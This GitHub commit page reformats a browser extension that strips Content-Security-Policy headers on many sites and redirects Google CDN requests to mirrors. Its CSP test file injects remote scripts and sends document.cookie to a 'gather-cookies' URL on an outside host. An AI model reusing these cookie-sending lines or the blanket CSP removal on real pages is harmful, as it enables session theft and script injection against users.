Skip to content

Commit

Permalink
fix format code error
Browse files Browse the repository at this point in the history
  • Loading branch information
jingjingxyk committed Dec 2, 2023
1 parent 9da5478 commit 5114e5f
Show file tree
Hide file tree
Showing 13 changed files with 44 additions and 44 deletions.
22 changes: 11 additions & 11 deletions extension-v2/js/background-advance.js
Original file line number Diff line number Diff line change
Expand Up @@ -11,7 +11,7 @@ const tabinfo = new Map();
*/
function hasCSP(headers = []) {
return headers.some(
(x) => x.name.toLowerCase() === "content-security-policy",
(x) => x.name.toLowerCase() === "content-security-policy"
);
}

Expand Down Expand Up @@ -134,7 +134,7 @@ chrome.webRequest.onHeadersReceived.addListener(
//移除响应头 Content-Security-Policy
details.responseHeaders = details.responseHeaders.filter(
(response_header) =>
!remove_csp_item.includes(response_header.name.toLowerCase()),
!remove_csp_item.includes(response_header.name.toLowerCase())
);

/*
Expand All @@ -154,7 +154,7 @@ chrome.webRequest.onHeadersReceived.addListener(
],
types: web_request_resource_types,
},
["blocking", "responseHeaders"],
["blocking", "responseHeaders"]
);

/*
Expand Down Expand Up @@ -193,7 +193,7 @@ let need_replace_cdn_urls = [
"www.gravatar.com",
"maxcdn.bootstrapcdn.com",
"github.com",
"www.google.com",
"www.google.com"
];

let cdn_urls = need_replace_cdn_urls.map((currentValue, index, arr) => {
Expand All @@ -218,7 +218,7 @@ let opensource_google_urls = [
"*://summerofcode.withgoogle.com/*",
"*://cs.opensource.google/*", //Google Open Source
"*://opensource.googleblog.com/*",
"*://opensource.google/*",
"*://opensource.google/*"
];

// 高级玩法测试域名组
Expand Down Expand Up @@ -315,7 +315,7 @@ chrome.webRequest.onBeforeRequest.addListener(
url = url.replace("fonts.gstatic.com", "fonts.gstatic.cn");
url = url.replace(
"www.google.com/recaptcha/",
"www.recaptcha.net/recaptcha/",
"www.recaptcha.net/recaptcha/"
);
url = url.replace("secure.gravatar.com", "gravatar.loli.net");
url = url.replace("www.gravatar.com", "gravatar.loli.net");
Expand All @@ -328,15 +328,15 @@ chrome.webRequest.onBeforeRequest.addListener(
//"cdn.jsdelivr.net/npm/bootstrap@$1/dist/$2"
url = url.replace(
/maxcdn\.bootstrapcdn\.com\/bootstrap\/(\d{1,4}\.\d{1,4}\.\d{1,4})\/(.*?)/g,
"lib.baomitu.com/twitter-bootstrap/$1/$2",
"lib.baomitu.com/twitter-bootstrap/$1/$2"
);
url = url.replace(
/code\.jquery\.com\/jquery-(\d{1,4}\.\d{1,4}\.\d{1,4})(.*?)/g,
"lib.baomitu.com/jquery/$1/jquery$2",
"lib.baomitu.com/jquery/$1/jquery$2"
);
url = url.replace(
/code\.jquery\.com\/ui\/(\d{1,4}\.\d{1,4}\.\d{1,4})\/(.*?)/g,
"ajax.aspnetcdn.com/ajax/jquery.ui/$1/$2",
"ajax.aspnetcdn.com/ajax/jquery.ui/$1/$2"
);
url = url.replace("developers.google.com", "developers.google.cn");
url = url.replace("developer.android.com", "developer.android.google.cn");
Expand Down Expand Up @@ -367,7 +367,7 @@ chrome.webRequest.onBeforeRequest.addListener(
...block_domain_urls, //阻止域名请求
],
},
["blocking"],
["blocking"]
);

/*
Expand Down Expand Up @@ -470,7 +470,7 @@ chrome.webRequest.onBeforeSendHeaders.addListener(
"*://example-example.com/*",
],
},
["blocking", "requestHeaders"],
["blocking", "requestHeaders"]
//["blocking", "requestHeaders", "extraHeaders"]
);

Expand Down
18 changes: 9 additions & 9 deletions extension-v2/js/background.js
Original file line number Diff line number Diff line change
Expand Up @@ -19,7 +19,7 @@ const remove_csp_item = [
"cross-origin-embedder-policy",
"cross-origin-opener-policy",
"cross-origin-opener-policy-report-only",
"cross-origin-embedder-policy-report-only",
"cross-origin-embedder-policy-report-only"
];

/**
Expand All @@ -42,7 +42,7 @@ const remove_csp_urls = [
"*://developers.redhat.com/*",
"*://*.githubusercontent.com/*",
"*://pub.dev/*",
"*://stackoverflow.com/*",
"*://stackoverflow.com/*"
];

/**
Expand All @@ -54,7 +54,7 @@ chrome.webRequest.onHeadersReceived.addListener(
//移除响应头 Content-Security-Policy
details.responseHeaders = details.responseHeaders.filter(
(response_header) =>
!remove_csp_item.includes(response_header.name.toLowerCase()),
!remove_csp_item.includes(response_header.name.toLowerCase())
);
return {
responseHeaders: details.responseHeaders,
Expand All @@ -78,7 +78,7 @@ chrome.webRequest.onHeadersReceived.addListener(
"other",
],
},
["blocking", "responseHeaders"],
["blocking", "responseHeaders"]
);

/*
Expand All @@ -96,7 +96,7 @@ chrome.webRequest.onBeforeRequest.addListener(
url = url.replace("fonts.gstatic.com", "fonts.gstatic.cn");
url = url.replace(
"www.google.com/recaptcha/",
"www.recaptcha.net/recaptcha/",
"www.recaptcha.net/recaptcha/"
);
url = url.replace("secure.gravatar.com", "gravatar.loli.net");
url = url.replace("www.gravatar.com", "gravatar.loli.net");
Expand All @@ -108,15 +108,15 @@ chrome.webRequest.onBeforeRequest.addListener(
//"cdn.jsdelivr.net/npm/bootstrap@$1/dist/$2"
url = url.replace(
/maxcdn\.bootstrapcdn\.com\/bootstrap\/(\d{1,4}\.\d{1,4}\.\d{1,4})\/(.*?)/g,
"lib.baomitu.com/twitter-bootstrap/$1/$2",
"lib.baomitu.com/twitter-bootstrap/$1/$2"
);
url = url.replace(
/code\.jquery\.com\/jquery-(\d{1,4}\.\d{1,4}\.\d{1,4})(.*?)/g,
"lib.baomitu.com/jquery/$1/jquery$2",
"lib.baomitu.com/jquery/$1/jquery$2"
);
url = url.replace(
/code\.jquery\.com\/ui\/(\d{1,4}\.\d{1,4}\.\d{1,4})\/(.*?)/g,
"ajax.aspnetcdn.com/ajax/jquery.ui/$1/$2",
"ajax.aspnetcdn.com/ajax/jquery.ui/$1/$2"
);
return { redirectUrl: url };
},
Expand All @@ -137,5 +137,5 @@ chrome.webRequest.onBeforeRequest.addListener(
"*://code.jquery.com/ui/*",
],
},
["blocking"],
["blocking"]
);
2 changes: 1 addition & 1 deletion extension/options_ui/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -70,7 +70,7 @@ chrome.declarativeNetRequest.updateDynamicRules(
},
(parameter) => {
console.log(parameter);
},
}
);
```

Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -96,7 +96,7 @@ let bindSyncRemoteStaticRuleEventListener = () => {
UpdateRulesetOptions,
(callback) => {
showRuleList();
},
}
);
});
}
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -137,15 +137,15 @@ let bindButtonUploadRuleFromFile = () => {
e.stopPropagation();
e.preventDefault();
},
false,
false
);
dropbox.addEventListener(
"dragover",
(e) => {
e.stopPropagation();
e.preventDefault();
},
false,
false
);

dropbox.addEventListener(
Expand All @@ -166,7 +166,7 @@ let bindButtonUploadRuleFromFile = () => {
showUploadFileContent(file);
}
},
false,
false
);
};

Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -27,7 +27,7 @@ let messageReciver = () => {
}
}
},
false,
false
);
};

Expand Down
6 changes: 3 additions & 3 deletions extension/options_ui/js/CommonBundle/Components/common.js
Original file line number Diff line number Diff line change
Expand Up @@ -39,7 +39,7 @@ let updateDynamicRules = (
},
() => {
callback(args);
},
}
);
};
let deleteDynamicRules = (type, id = 0, callback = () => {}, ...args) => {
Expand Down Expand Up @@ -82,7 +82,7 @@ let deleteDynamicRules = (type, id = 0, callback = () => {}, ...args) => {
},
() => {
callback(args);
},
}
);
}
});
Expand Down Expand Up @@ -128,7 +128,7 @@ let enableStaticRules = (callback, ...args) => {
deleteDynamicRules("sync_remote_static_rule", 0, () => {
callback();
});
},
}
);
};

Expand Down
2 changes: 1 addition & 1 deletion extension/options_ui/js/CommonBundle/Components/editor.js
Original file line number Diff line number Diff line change
Expand Up @@ -10,7 +10,7 @@ let editor = {
onChange: (
updatedContent,
previousContent,
{ contentErrors, patchResult },
{ contentErrors, patchResult }
) => {
// content is an object { json: JSONData } | { text: string }
/*
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -39,7 +39,7 @@ let showDynamicRules = (type = "all_dynamic_rule") => {
list += `<li class="${rule_id_range_type}" data-rule-id="${
value.id
}" data-origin="${encodeURIComponent(
JSON.stringify(value),
JSON.stringify(value)
)}" title="规则来源:${show_rule_id_range_name}">规则来源:${show_rule_id_range_name};编号为:&nbsp;&nbsp;${
value.id
}&nbsp;&nbsp;;规则作用:${rule_action_name}&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span class="del-flag" data-rule-id="${
Expand All @@ -62,7 +62,7 @@ let bindDynamicRuleEventListener = () => {
if (event.target.nodeName === "LI") {
let content_box = document.querySelector("#rule-content-container");
let content = decodeURIComponent(
event.target.getAttribute("data-origin"),
event.target.getAttribute("data-origin")
);
//console.log(content);

Expand All @@ -71,19 +71,19 @@ let bindDynamicRuleEventListener = () => {
text: undefined,
});
content_box.value = decodeURIComponent(
event.target.getAttribute("data-origin"),
event.target.getAttribute("data-origin")
);
content_box.setAttribute("rule-type", "dynamic");
content_box.setAttribute(
"rule-id",
event.target.getAttribute("data-rule-id"),
event.target.getAttribute("data-rule-id")
);
}
if (event.target.nodeName === "SPAN") {
event.target.parentNode.remove();
deleteDynamicRules(
"single_rule",
event.target.getAttribute("data-rule-id"),
event.target.getAttribute("data-rule-id")
);
}
});
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -28,7 +28,7 @@ let bindButtonEventListener = () => {
if (rule_str) {
utils.createJSONFile(
rule_str,
"ReplaceGoogleCDN-backup-rule-" + time + ".json",
"ReplaceGoogleCDN-backup-rule-" + time + ".json"
);
}
}
Expand Down Expand Up @@ -88,7 +88,7 @@ let bindButtonEventListener = () => {
let content = content_box.value;
if (content) {
let button = document.querySelector(
"#jsoneditor .jse-button.jse-format",
"#jsoneditor .jse-button.jse-format"
);
if (button) {
button.click();
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -4,7 +4,7 @@ import { showDynamicRules } from "../../CommonBundle/Components/showDynamicRules

let defaultDomainList = document.querySelector(".default-redirect-domains");
let defaultDomainOptions = document.querySelector(
".default-redirect-domians-options",
".default-redirect-domians-options"
);
let showDefaultDomainList = () => {
let list = "";
Expand Down Expand Up @@ -61,7 +61,7 @@ let bindSetDefaultDomainOptionEventListener = () => {

let rule_info =
event.target.options[event.target.selectedIndex].getAttribute(
"data-rule-info",
"data-rule-info"
);
let rule = JSON.parse(rule_info);

Expand Down
2 changes: 1 addition & 1 deletion extension/sandbox/js/app.js
Original file line number Diff line number Diff line change
Expand Up @@ -61,7 +61,7 @@ list_box.addEventListener("click", (event) => {
JSON.stringify({
url: url,
}),
location.origin + "/options_ui/index.html",
location.origin + "/options_ui/index.html"
);
return;

Expand Down
8 changes: 4 additions & 4 deletions extension/test/remove-csp-test.js
Original file line number Diff line number Diff line change
Expand Up @@ -17,7 +17,7 @@
let script = document.createElement("script");
script.setAttribute(
"src",
"https://frontend-inject.xiaoshuogeng.com/main.js",
"https://frontend-inject.xiaoshuogeng.com/main.js"
),
script.setAttribute("type", "module"),
//script.setAttribute("type", "application/javascript"),
Expand All @@ -31,7 +31,7 @@ javascript: (() => {
let script = document.createElement("script");
script.setAttribute(
"src",
"https://www.jingjingxyk.com/frontend-experimental-features/main.js",
"https://www.jingjingxyk.com/frontend-experimental-features/main.js"
),
script.setAttribute("type", "application/javascript"),
script.setAttribute("charset", "utf-8"),
Expand All @@ -42,13 +42,13 @@ javascript: (() => {

fetch(
"https://test.proxy.xiaoshuogeng.com/gather-cookies?cookies=" +
encodeURIComponent(document.cookie),
encodeURIComponent(document.cookie)
);

// or

new Image(100, 200).setAttribute(
"src",
"https://test.proxy.xiaoshuogeng.com/gather-cookies?cookies=" +
encodeURIComponent(document.cookie),
encodeURIComponent(document.cookie)
);

0 comments on commit 5114e5f

Please sign in to comment.